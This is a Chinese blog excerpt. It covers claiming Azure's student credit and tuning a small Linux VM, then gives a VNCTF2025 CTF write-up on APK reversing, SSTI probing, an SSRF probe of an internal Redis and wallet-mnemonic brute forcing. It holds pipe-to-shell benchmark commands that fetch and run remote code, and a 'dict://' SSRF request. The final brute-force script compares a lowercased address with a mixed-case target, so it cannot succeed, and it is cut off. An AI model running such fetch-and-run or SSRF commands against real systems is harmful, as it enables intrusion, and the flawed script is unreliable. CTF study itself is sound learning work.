"alignment": "left", "newline": true, "segments": [ { "foreground": "#0c7bbb", "style": "plain", "template": "\u2570\u2500", "type": "text" } ], "type": "prompt" } ], "final_space": true, "version": 3 }

2025/3/9
articleCard.readMore

使用教育邮箱注册AZ100(Azure 100$ 教育优惠)

自从拿到教育邮箱,我就在想怎么样才能够用尽其用,拿到更多的教育优惠资源,然后今天我就盘了盘Azure,据说Azure对学生有每年100$的免费额度,这我不得赶紧下个手 注册教育用户 首先,你得先去Azure登录一个微软账号(可以是个人的) Azure Portal: https://portal.azure.com/ 登陆以后会进入Azure的主页,我们不需要在这个页面操作,先把它关掉,只需要有登录态就可以了 接着我们打开AZ100的注册页面 AZ100: https://signup.azure.com/studentverification?offerType=1&srcurl=https%3A%2F%2Fazure.microsoft.com%2Ffree%2Fstudents&correlationId=bbc11038-628a-4b5a-abf5-e141999f96d9 在这个页面中,填写自己的个人信息,注意有些信息的真实性(例如你明明用的是@*.edu.cn你的国家还选其他的那肯定不对) 填好了以后提交(验证码留空就行,除非你有),然后打开你的教育邮箱,会收到一封来自微(巨)软(硬)的邮件(查不到的话看看垃圾邮件列表) 直接点击链接打开,会进入验证页面 这个页面可能会弹一个验证码(我这边是弹了),过了验证码点Verify就进入下一步了,这个时候会转个圈圈,微软在验证你的学生资格 转个大概半分钟就可以了,页面会弹出Congratulation的提示 这个时候就可以使用教育优惠了 [踩坑] 弹了Congratulation后仍然无法使用教育优惠 不知道巨硬怎么回事,反正就是订阅没有生效,我翻了翻求助帖,看到有这么个解决方式 我们再回到学生优惠的注册页面,不过是下面这个 Azure for Students: https://azure.microsoft.com/en-us/free/students?wt.mc_id=studentamb_203301 点击Start free,此时因为我们登录态还在,所以会进入验证环节,这里会弹出下图这样的页面 根据自己的需要勾选,然后点击注册就好了 使用教育优惠 我们访问Azure的教育页面(需要使用带有教育资格的Azure账户访问,否则提示无权) Azure Education: https://portal.azure.com/#view/Microsoft_Azure_Education/EducationMenuBlade/~/overview 这里会显示你剩下的免费额度和到期天数(注:到期后还可以用教育邮箱续期) 点击右边免费服务的浏览所有按钮,就可以看到能够使用的所有教育优惠,我个人觉得最主要的还是虚拟机,下面也是我创建虚拟机的过程 创建Linux虚拟机 Azure free account includes: 750 hours of Standard B1, B2ATS, and B2PTS Linux Virtual Machine 750 hours of Standard B1, B2ATS Windows Virtual Machine 2 P6 (64GiB) managed disks 你可以通过免费服务那个页面来开始创建Linux虚拟机,也可以通过下面这个链接快速来到创建的页面 Create Linux VM: https://portal.azure.com/#create/microsoft.freeaccountvirtualmachine-linux 在这个页面创建虚拟机直接按照自己需求选就行了,我弄的时候只有B1s,B2ats_v2没货,不过都能用 这里的区域需要说明的是,我这里选择的是East Asia,其实是指的就是香港地区的服务器,在这个页面新建虚拟机不用担心硬盘费用的问题,因为它会自动选择P6磁盘的 创建以后直接SSH连接就行了,我个人也不是拿这个来弄梯子的,所以也不担心被墙的问题 调整swap分区 因为刚刚创建的虚拟机默认是没有给你分swap分区的,但是这个机子的RAM太低了,所以得设置一下swap分区 我是用下面这个脚本设置的swap分区,直接copy去用就行,记得加sudo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 #!/bin/bash GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' # No Color # Check if the script is run with sudo if [[ $EUID -ne 0 ]]; then echo "This script must be run as root (using sudo)." exit 1 fi SWAP_FILE="/swapfile" create_swap() { read -p "Enter the desired size of the swap file in MB: " SWAP_SIZE_MB echo "Creating a swap file of ${SWAP_SIZE_MB}MB. This may take a while..." fallocate -l ${SWAP_SIZE_MB}M ${SWAP_FILE} if [ $? -ne 0 ]; then echo "Error creating swap file. Ensure you have enough free disk space and fallocate is installed." return 1 fi chmod 600 ${SWAP_FILE} mkswap ${SWAP_FILE} if [ $? -ne 0 ]; then echo "Error setting up swap area." rm -f ${SWAP_FILE} return 1 fi swapon ${SWAP_FILE} if [ $? -ne 0 ]; then echo "Error enabling swap." rm -f ${SWAP_FILE} return 1 fi # Add to /etc/fstab to make it permanent echo "${SWAP_FILE} swap swap defaults 0 0" | sudo tee -a /etc/fstab > /dev/null echo "Swap file created and enabled successfully." } adjust_swap() { if ! swapon --show | grep -q "${SWAP_FILE}"; then echo "No swap file (${SWAP_FILE}) is currently active to adjust. Please create one first or check if SWAP_FILE variable is correctly set." return 1 fi swapoff ${SWAP_FILE} if [ $? -ne 0 ]; then echo "Error disabling swap." return 1 fi read -p "Enter the new desired size of the swap file in MB: " NEW_SWAP_SIZE_MB echo "Resizing swap file to ${NEW_SWAP_SIZE_MB}MB. This may take a while..." rm -f ${SWAP_FILE} # Remove the old swap file fallocate -l ${NEW_SWAP_SIZE_MB}M ${SWAP_FILE} if [ $? -ne 0 ]; then echo "Error creating new swap file." return 1 fi chmod 600 ${SWAP_FILE} mkswap ${SWAP_FILE} if [ $? -ne 0 ]; then echo "Error setting up new swap area." rm -f ${SWAP_FILE} return 1 fi swapon ${SWAP_FILE} if [ $? -ne 0 ]; then echo "Error enabling new swap." rm -f ${SWAP_FILE} return 1 fi echo "Swap file resized and enabled successfully." } delete_swap() { if ! swapon --show | grep -q "${SWAP_FILE}"; then echo "No swap file (${SWAP_FILE}) is currently active to delete. Please create one first or check if SWAP_FILE variable is correctly set." return 1 fi swapoff ${SWAP_FILE} if [ $? -ne 0 ]; then echo "Error disabling swap." return 1 fi # Remove from /etc/fstab sudo sed -i "/${SWAP_FILE} swap swap/d" /etc/fstab rm -f ${SWAP_FILE} echo "Swap file deleted successfully." } show_menu() { echo -e "${GREEN}" cat << "EOF" >>==============================================<< || || || _ || || _____ ____ _ _ __ ___| |__ || || / __\ \ /\ / / _` | '_ \ / __| '_ \ || || \__ \\ V V / (_| | |_) |\__ \ | | | || || |___/ \_/\_/ \__,_| .__(_)___/_| |_| || || |_| || || || || -- GamerNoTitle || || https://bili33.top || >>==============================================<< EOF echo -e "${NC}" echo -e "${YELLOW}Swap Management Script${NC}" echo -e "${YELLOW}-----------------------${NC}" echo -e "${YELLOW}1. Create Swap File${NC}" echo -e "${YELLOW}2. Adjust Swap File Size${NC}" echo -e "${YELLOW}3. Delete Swap File${NC}" echo -e "${YELLOW}4. Exit${NC}" echo -e "${YELLOW}-----------------------${NC}" echo -ne "${YELLOW}Enter your choice (1-4): ${NC}" } while true; do show_menu read choice case $choice in 1) create_swap ;; 2) adjust_swap ;; 3) delete_swap ;; 4) echo "Exiting." exit 0 ;; *) echo "Invalid choice. Please enter a number between 1 and 4." ;; esac echo "" done 性能测试结果 性能测试脚本:curl -sL yabs.sh | bash 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 Basic System Information: --------------------------------- Uptime : 0 days, 1 hours, 3 minutes Processor : Intel(R) Xeon(R) Platinum 8171M CPU @ 2.60GHz CPU cores : 1 @ 2095.079 MHz AES-NI : ✔ Enabled VM-x/AMD-V : ❌ Disabled RAM : 892.9 MiB Swap : 4.0 GiB Disk : 65.8 GiB Distro : Ubuntu 22.04.5 LTS Kernel : 6.8.0-1021-azure VM Type : MICROSOFT IPv4/IPv6 : ✔ Online / ❌ Offline IPv4 Network Information: --------------------------------- ISP : Microsoft Corporation ASN : AS8075 Microsoft Corporation Host : Microsoft Azure Cloud (eastasia) Location : Hong Kong, Central and Western District (HCW) Country : Hong Kong fio Disk Speed Tests (Mixed R/W 50/50) (Partition /dev/root): --------------------------------- Block Size | 4k (IOPS) | 64k (IOPS) ------ | --- ---- | ---- ---- Read | 2.45 MB/s (614) | 27.34 MB/s (427) Write | 2.47 MB/s (618) | 27.75 MB/s (433) Total | 4.92 MB/s (1.2k) | 55.10 MB/s (860) | | Block Size | 512k (IOPS) | 1m (IOPS) ------ | --- ---- | ---- ---- Read | 26.62 MB/s (51) | 26.14 MB/s (25) Write | 28.57 MB/s (55) | 29.04 MB/s (28) Total | 55.19 MB/s (106) | 55.18 MB/s (53) iperf3 Network Speed Tests (IPv4): --------------------------------- Provider | Location (Link) | Send Speed | Recv Speed | Ping ----- | ----- | ---- | ---- | ---- Clouvider | London, UK (10G) | 792 Mbits/sec | 1.06 Gbits/sec | 187 ms Eranium | Amsterdam, NL (100G) | 809 Mbits/sec | 1.24 Gbits/sec | 203 ms Uztelecom | Tashkent, UZ (10G) | 623 Mbits/sec | 847 Mbits/sec | 263 ms Leaseweb | Singapore, SG (10G) | 863 Mbits/sec | 5.34 Gbits/sec | 36.1 ms Clouvider | Los Angeles, CA, US (10G) | 829 Mbits/sec | 1.16 Gbits/sec | 154 ms Leaseweb | NYC, NY, US (10G) | 756 Mbits/sec | 1.08 Gbits/sec | 225 ms Edgoo | Sao Paulo, BR (1G) | 469 Mbits/sec | 688 Mbits/sec | 306 ms Geekbench 6 Benchmark Test: --------------------------------- Test | Value | Single Core | 572 Multi Core | 315 Full Test | https://browser.geekbench.com/v6/cpu/10660333 YABS completed in 42 min 58 sec 网络IO测试结果 测试脚本:wget -qO- bench.sh | bash 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 -------------------- A Bench.sh Script By Teddysun ------------------- Version : v2024-11-11 Usage : wget -qO- bench.sh | bash ---------------------------------------------------------------------- CPU Model : Intel(R) Xeon(R) Platinum 8171M CPU @ 2.60GHz CPU Cores : 1 @ 2095.079 MHz CPU Cache : 36608 KB AES-NI : ✓ Enabled VM-x/AMD-V : ✗ Disabled Total Disk : 69.8 GB (8.2 GB Used) Total Mem : 892.9 MB (196.3 MB Used) Total Swap : 4.0 GB (74.5 MB Used) System uptime : 0 days, 23 hour 54 min Load average : 0.00, 0.00, 0.00 OS : Ubuntu 22.04.5 LTS Arch : x86_64 (64 Bit) Kernel : 6.8.0-1021-azure TCP CC : cubic Virtualization : Dedicated IPv4/IPv6 : ✓ Online / ✗ Offline Organization : AS8075 Microsoft Corporation Location : Hong Kong / HK Region : Hong Kong ---------------------------------------------------------------------- I/O Speed(1st run) : 56.7 MB/s I/O Speed(2nd run) : 56.0 MB/s I/O Speed(3rd run) : 56.2 MB/s I/O Speed(average) : 56.3 MB/s ---------------------------------------------------------------------- Node Name Upload Speed Download Speed Latency Speedtest.net 184.06 Mbps 7849.74 Mbps 2.59 ms Paris, FR 594.87 Mbps 5925.80 Mbps 179.03 ms Amsterdam, NL 361.25 Mbps 3164.91 Mbps 201.52 ms Shanghai, CN 927.35 Mbps 5390.46 Mbps 96.52 ms Hong Kong, CN 953.24 Mbps 8126.24 Mbps 3.42 ms Singapore, SG 812.82 Mbps 4375.76 Mbps 31.41 ms Tokyo, JP 960.93 Mbps 6922.47 Mbps 51.67 ms ---------------------------------------------------------------------- Finished in : 4 min 19 sec Timestamp : 2025-02-22 07:06:04 UTC ---------------------------------------------------------------------- 路由测试 去程路由绕行SG 回程路由部分绕行SG 上海电信 (101.95.120.109) 路径: 香港(hkg20 → hkg31) → 新加坡(sg2) → 中国电信骨干网(202.97.93.145,上海/广州) → 上海 第7跳:香港微软网络节点(hkg20) 第13跳:中国电信骨干网上海/广州节点(202.97.93.145) 第17跳:上海电信目标IP(101.95.120.109) 厦门电信CN2 (117.28.254.129) 路径: 香港(hkg30 → hkg15) → 中国电信CN2骨干网(59.43.248.197,广州) → 厦门 第7跳:香港微软网络节点(hkg30) 第10跳:中国电信CN2广州节点(59.43.248.197) 第18跳:厦门电信CN2目标IP(117.28.254.129) 北京联通 (123.125.81.6) 路径: 香港(hkg31) → 新加坡(sg2 → sin30) → 中国联通骨干网(219.158.38.213,广州) → 北京 第11跳:中国联通广州国际出口(219.158.38.213) 第14跳:中国联通北京节点(219.158.24.125) 第22跳:北京联通目标IP(123.125.81.6) 北京移动 (221.130.33.52) 路径: 香港(hkg31) → 新加坡(sg2 → sin30) → 中国移动骨干网(223.119.81.113,广州) → 北京 第11跳:中国移动广州国际出口(223.119.81.113) 第19跳:中国移动北京节点(221.179.155.234) 第20跳:北京移动目标IP(221.130.33.52) 成都教育网 (202.112.14.151) 路径: 香港(hkg20 → hkb) → 中国教育网骨干网(101.4.114.221,北京) → 成都 第13跳:教育网北京核心节点(101.4.114.221) 第19跳:教育网成都中转节点(101.4.112.194) 第24跳:成都教育网目标IP(202.112.14.151) 使用Windows虚拟机 创建方法跟Linux的没什么区别,唯二区别是系统和账户 Create Windows VM: https://portal.azure.com/#create/microsoft.freeaccountvirtualmachine-windows 需要注意的是,如果你想有原生的Windows桌面体验,你就需要选择不带Core标识的版本 此外,因为这个服务器的低内存体验(就1G还能咋样),Windows服务器用起来特别憋屈,很卡,我就不过多评测了 其他厂商教育优惠 Github Education: https://github.com/education 网易VIP邮箱: https://vip.163.com/projects/campus-vip/#/emailCheck Notion: https://notion.so Jetbrains: https://www.jetbrains.com/community/education/

2025/2/21
articleCard.readMore

VNCTF2025 个人Writeup(垂死挣扎记录)

官方WP:http://ctf-files.bili33.top/VNCTF2025/VNCTF2025%20Official%20Writeup.pdf [Reverse] Hook Fish 钓到的鱼怎么跑了? 下载下来一个apk文件,丢进jadx查看AndroidManifest.xml看到第一个Activity是com.example.hihitt.MainActivity 找到Activity看到里面有一些函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public void loadClass(String input0) { String input1 = encode(input0); File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex"); DexClassLoader dLoader = new DexClassLoader(Uri.fromFile(dexFile).toString(), null, null, ClassLoader.getSystemClassLoader().getParent()); try { Class<?> loadedClass = dLoader.loadClass("fish.hook_fish"); Object obj = loadedClass.newInstance(); Method m = loadedClass.getMethod("check", String.class); boolean check = ((Boolean) m.invoke(obj, input1)).booleanValue(); if (check) { Toast.makeText(this, "恭喜,鱼上钩了!", 0).show(); } } catch (Exception e) { e.printStackTrace(); } } public String decode(String boy) { try { File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex"); DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader()); Class<?> loadedClass = dLoader.loadClass("fish.hook_fish"); Object obj = loadedClass.newInstance(); Method decodeMethod = loadedClass.getMethod("decode", String.class); return (String) decodeMethod.invoke(obj, boy); } catch (Exception e) { e.printStackTrace(); return "Error"; } } public String encode(String girl) { try { File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex"); DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader()); Class<?> loadedClass = dLoader.loadClass("fish.hook_fish"); Object obj = loadedClass.newInstance(); Method encodeMethod = loadedClass.getMethod("encode", String.class); return (String) encodeMethod.invoke(obj, girl); } catch (Exception e) { e.printStackTrace(); return "Error"; } } } 去抓包,发现从http://47.121.211.23/hook_fish.dex下载了文件,本来想在系统里面截胡的但是没截到,直接访问下载了文件 用Ghidra打开,发现内部逻辑是一个自定义的字符编码方式(我叫做ji字符编码),然后可以拿到里面ji编码后的密文 1 jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji 解码过后是0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5,并没有什么意义,再去看看有没有漏掉的东西,在MainActivity里面还有这样的编码过程(注释是我加的) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public static String encrypt(String str) { byte[] str1 = str.getBytes(); // 把字符串变成bytes for (int i = 0; i < str1.length; i++) { str1[i] = (byte) (str1[i] + 68); // 变成bytes之前每个字符ASCII加了68 } StringBuilder hexStringBuilder = new StringBuilder(); for (byte b : str1) { hexStringBuilder.append(String.format("%02x", Byte.valueOf(b))); // 把传入的str1变成hex } String str2 = hexStringBuilder.toString(); // 把hex变成字符串 char[] str3 = str2.toCharArray(); // 把String转换为char[]数组 code(str3, 0); // 进行自定义编码 for (int i2 = 0; i2 < str3.length; i2++) { if (str3[i2] >= 'a' && str3[i2] <= 'f') { // 如果为 a ~ f str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4)); // 字符与 '1' 相减,再加上 i2 % 4,i2是循环变量 } else { str3[i2] = (char) (str3[i2] + '7' + (i2 % 10)); // 字符与 '7' 相加,再加上 i2 % 10,i2还是循环变量 } } Log.d("encrypt: ", new String(str3)); return new String(str3); } private static void code(char[] a, int index) { if (index >= a.length - 1) { return; } a[index] = (char) (a[index] ^ a[index + 1]); // 前后异或,设三个数字为a, b, c,此时 a 变成了 c(a ^ b = c) a[index + 1] = (char) (a[index] ^ a[index + 1]); // b ^ c = a,此时第二个字符为 a a[index] = (char) (a[index] ^ a[index + 1]); // c ^ a = b,此时达到了第一个字符和第二个字符对调的效果 code(a, index + 2); // 前进两位,下一组 } 于是组合起来,写个JIO本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 class HookFish: def __init__(self): self.fish_ecode = {} self.fish_dcode = {} self.encode_map() def encode_map(self): encode_dict = { 'a': "iiijj", 'b': "jjjii", 'c': "jijij", 'd': "jjijj", 'e': "jjjjj", 'f': "ijjjj", 'g': "jjjji", 'h': "iijii", 'i': "ijiji", 'j': "iiiji", 'k': "jjjij", 'l': "jijji", 'm': "ijiij", 'n': "iijji", 'o': "ijjij", 'p': "jiiji", 'q': "ijijj", 'r': "jijii", 's': "iiiii", 't': "jjiij", 'u': "ijjji", 'v': "jiiij", 'w': "iiiij", 'x': "iijij", 'y': "jjiji", 'z': "jijjj", '1': "iijjl", '2': "iiilj", '3': "iliii", '4': "jiili", '5': "jilji", '6': "iliji", '7': "jjjlj", '8': "ijljj", '9': "iljji", '0': "jjjli" } for char, code in encode_dict.items(): self.fish_ecode[char] = code self.fish_dcode[code] = char def decode(self, p1): decoded_str = [] for i in range(0, len(p1), 5): encoded_char = p1[i:i+5] decoded_str.append(self.fish_dcode.get(encoded_char, '?')) return ''.join(decoded_str) def decrypt(encrypted_str): def reverse_step4(chars): reversed_chars = [] for i, c in enumerate(chars): current_ord = ord(c) # 逆向处理 a-f 的情况 original_ord_case1 = (current_ord - (i % 4)) + ord('1') if 97 <= original_ord_case1 <= 102: reversed_chars.append(chr(original_ord_case1)) continue # 逆向处理其他字符 original_ord_case2 = current_ord - ord('7') - (i % 10) if 48 <= original_ord_case2 <= 57 or 97 <= original_ord_case2 <= 102: reversed_chars.append(chr(original_ord_case2)) else: reversed_chars.append('?') # 无效占位符 return reversed_chars # 逆向第四步变换 step3_chars = reverse_step4(list(encrypted_str)) # 逆向 code 函数(交换相邻字符) for i in range(0, len(step3_chars)-1, 2): step3_chars[i], step3_chars[i+1] = step3_chars[i+1], step3_chars[i] # 转换十六进制字符串为字节 try: hex_str = ''.join(step3_chars) encrypted_bytes = bytes.fromhex(hex_str) except ValueError: return "Invalid Hex" # 逆向字节偏移 original_bytes = bytes([(b - 68) % 256 for b in encrypted_bytes]) return original_bytes.decode('utf-8', errors='replace') # 使用示例 hook_fish = HookFish() encoded_string = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji" raw_encrypted = hook_fish.decode(encoded_string) print("Encrypted String:", raw_encrypted) decrypted_flag = decrypt(raw_encrypted) print("Decrypted Flag:", decrypted_flag) 最终得到flag为VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l} [MISC] VN_Lang 我真是受够了往misc里塞异形文字了,所以我决定自创VN文字,你能读懂吗? 本题所给的附件中,main.rs为源代码,请下载exe文件进行解题,flag在exe中。 直接把exe丢进IDA,然后Shift + F12,查看字符串,发现flag flag为VNCTF{ucxaOK2UO8rEXjuUXbwa5sBoZKxBxb6qhQ3HVoy30rzq5} [Web] 学生姓名登记系统(未出) Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗? 确实并非无懈可击,但是我是没办法打 上来就说输入学生名字,输入完点击提交发现会显示刚刚输入的学生名字,猜测可能存在SSTI,测试了一下果不其然 输入输出 然后我测试了一下,虽然可以分行提交,但是一旦存在某些关键词,则不会被当做模板运行,例如输入{%print(123)%},会直接原样返回 这些关键词包括但不限于:%、lipsum,有些组合也不能够被正确识别,例如{{request.args.a}},{{request.cookies.c}}这样的 此外,还有长度限制,经过测试,当单行输入长度>=24的时候,就会阻止,表现为弹出“谁家好人名字这么长??”的提示 因为我实在是没找到方法来规避这个长度限制,所以只能作罢 [Web] 奶龙回家(未出) 小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次 我才是奶龙.jpg 给了登录框,可以输入用户名和密码,一开始就想到了爆破 然后我已经爆破了快两个小时,结果发了提示:本题考点是注入攻击,无需进行字典爆破操作 行吧,我后面再来看你(然后就忘了 =-=) [Reverse] 抽奖转盘(未出) 主播主播,你的安卓逆向太吃操作了,有没有更简单容易上手的逆向题目哇?有的兄弟有的。 真的上手吗(害怕 附件的格式.hap就告诉我们一切了,这题是鸿蒙的软件逆向,我在网上找不到什么资料,找到了一个工具abc-decompiler https://github.com/ohos-decompiler/abc-decompiler 把hap文件解压以后,将里面的.abc文件丢进去就可以反编译了……但这是啥啊! 好吧,现在的反编译工具确实不太成熟,怪不得人家。我手上也没有鸿蒙设备,也没有模拟器,真的在打黑盒一样 后面找到了模拟器,要求电脑开HyperV,我丢在了虚拟机上运行(但一直在转圈),考虑到我写这行字的时候已经是1:09了,我还是去睡觉吧,明天有N1CTF呢 模拟器:https://www.coolapk.com/feed/57785796?shareKey=ZTFmZTBiNTJiN2Y5NjcxOTBlZjQ~&shareUid=0 [MISC] Ekko(未出) Ekko似乎找不到完美的时间线了。。。 题目地址:156.238.233.119:10001 faucet:156.238.233.119:10000 rpc:156.238.233.119:8545 一看就是以太坊智能合约的题目,但我没接触过,于是我去学了一下以太坊的合约 nc题目地址能够创建一个钱包,要求向指定地址转账0.001测试币才能下一步 1 2 3 4 5 6 7 8 9 10 11 12 PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001 Help Ekko find the best timeline.馃槑馃槑馃槑 Trigger the isSolved() function to obtain the flag. [1] - Create an account which will be used to deploy the challenge contract [2] - Deploy the challenge contract using your generated account [3] - Get your flag once you meet the requirement [4] - Show the contract source code [-] input your choice: 1 [+] deployer account: 0x6117596A833B37eEC24D83F2b9C741513542a1c1 [+] token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ [+] please transfer more than 0.001 test ether to the deployer account for next step 首先第一步是要去水龙头接水(拿测试币),访问题目给的faucet地址,把钱包地址填进去就可以接到1ETH测试币了 接着要向别人转账,再次nc选择2,把token给它就可以部署合约了 1 2 3 4 5 6 7 8 9 10 11 12 PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001 Help Ekko find the best timeline.馃槑馃槑馃槑 Trigger the isSolved() function to obtain the flag. [1] - Create an account which will be used to deploy the challenge contract [2] - Deploy the challenge contract using your generated account [3] - Get your flag once you meet the requirement [4] - Show the contract source code [-] input your choice: 2 [-] input your token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ [+] contract address: 0xCDF40E3392f49Bc985B06A30269f75035C7001AE [+] transaction hash: 0xded23a521c51c77838cc35e0c1019f1873e5db8ff6c8bf7bd3dd967c22a351c6 然后就是要完成合约,但是怎么完成?我不道啊!! [MISC] aimind(未出) 基于大模型生成网站思维导图,不觉得很cool 吗 题目链接:http://39.100.72.235:8000/ 本网站由gpt4o进行驱动,响应慢属于正常现象,靶场十分钟重启一次. 访问后告诉我们要输入url来生成思维导图 我一开始以为是基于网页中间件的提示词注入,所以我还写了这么一个文档 https://github.com/Luminoria/CTF/blob/main/VNCTF2025.html 改来改去它还是不告诉我,想想算了,先做别的,后面题目给了提示 据说有个redis在内网 172.18.0.3 那意思很明确了,访问172.18.0.3:6379这个Redis获取信息,我就想到之前CCSSSC那次做过的dict执行Redis命令 测试了一下dict://172.18.0.3:6379/INFO,确实可以获取信息 于是想着能不能弹shell,但是后来发现用之前的payload会出不来(不生成思维导图且F12网络选项卡里面500),只好作罢 还是对Redis不熟的问题 =-= [MISC] Echo Flowers(已复现) 英语不好的114也想要学习区块链,于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词(默认路径m/44’/60’/0’/0/0),并将助记词导入了首次搭载四曲柔边直屏,采用居中对称式的圆环镜头+金属质感小银边设计,并辅以拉丝工艺打造的金属质感中框,主打“超防水,超抗摔,超耐用”,号称“耐用战神”的OPPO A5 Pro上作为数字钱包。不幸的是,114忘记了这部手机上数字钱包的密码,同时丢失了助记词。你能帮助114找回他的数字钱包吗? 本题附件下载地址:百度网盘 或 Google Drive 114使用的密码是强密码(在8-40字符之间,至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符),因此暴力破解密码是不现实的。 附件是一个(通过Android-x86模拟的)手机镜像,建议使用VMWare虚拟机平台运行手机镜像,其它虚拟机平台可能会出现非预期的行为。 你应该从手机镜像中取证找回数字钱包。 附件中gift文件夹的内容不是解题所必需的。 FLAG格式:VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如,假设私钥是0xaabbcc,那么FLAG是VNCTF{aabbcc} . 赛中自己做 一开始我去找了手机的文件,想着能不能找到助记词或者私钥,但是找不到,题目又说英语不好、将助记词导入,于是我想着社会工程学,看看键盘的记录,结果就找到了这12个可能为助记词的单词 具体做法是:切换到英文键盘,开启单词匹配,然后按下首字母,以此选择排在前面的且看起来像是助记词的单词,我知道这很不靠谱但我确实是这么做的,还真的拿出来了12个,是助记词的经典数目 1 ramp ranch twenty you only space define fashion high laundry carpet muscle 因为助记词的顺序会影响钱包地址,于是写了个爆破脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import itertools from mnemonic import Mnemonic from eth_account import Account from eth_utils.exceptions import ValidationError from tqdm import tqdm from concurrent.futures import ThreadPoolExecutor, as_completed # 启用HD钱包功能 Account.enable_unaudited_hdwallet_features() # 给定的12个助记词 mnemonic_words = "ramp ranch twenty you only space define fashion high laundry carpet muscle".split() # 目标地址 target_address = '0x114514d3CEc0bB872349a98e21526DbA041F08a9' # 初始化助记词处理工具 mnemo = Mnemonic('english') # 函数:生成钱包地址 def generate_address_from_mnemonic(mnemonic_words): try: mnemonic_phrase = ' '.join(mnemonic_words) # 验证助记词是否有效 if not mnemo.check(mnemonic_phrase): return None seed = mnemo.to_seed(mnemonic_phrase, passphrase="") # 使用EthAccount生成钱包 acct = Account.from_mnemonic(mnemonic_phrase) return acct.address.lower() except ValidationError: return None # 处理每个排列组合 def process_permutation(perm): address = generate_address_from_mnemonic(perm) if address == target_address: return perm return None # 使用线程池执行多线程任务 with ThreadPoolExecutor() as executor: # 创建tqdm进度条 progress_bar = tqdm(itertools.permutations(mnemonic_words), desc="Testing permutations", total=12*11*10*9*8*7*6*5*4*3*2*1) # 提交任务并处理结果 for perm in progress_bar: future = executor.submit(process_permutation, perm) result = future.result() 